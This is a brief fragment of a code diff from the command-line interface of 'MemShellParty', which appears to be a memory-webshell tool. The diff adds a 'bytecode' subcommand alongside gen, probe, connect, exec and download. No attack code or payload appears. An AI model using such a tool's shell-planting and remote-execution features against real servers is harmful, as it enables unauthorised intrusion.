`MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
|
|
@@ -5494,6 +6360,7 @@ Every subcommand has its own examples: memparty <command> --help
|
|
|
5494
6360
|
registerGenCommand(program);
|
|
5495
6361
|
registerProbeCommand(program);
|
|
5496
6362
|
registerConfigCommand(program);
|
|
6363
|
+
registerBytecodeCommand(program);
|
|
5497
6364
|
registerConnectCommand(program);
|
|
5498
6365
|
registerExecCommand(program);
|
|
5499
6366
|
registerDownloadCommand(program);
|